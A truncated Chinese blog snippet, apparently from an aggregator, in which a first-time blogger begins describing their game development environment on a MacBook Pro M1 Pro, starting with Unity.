    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more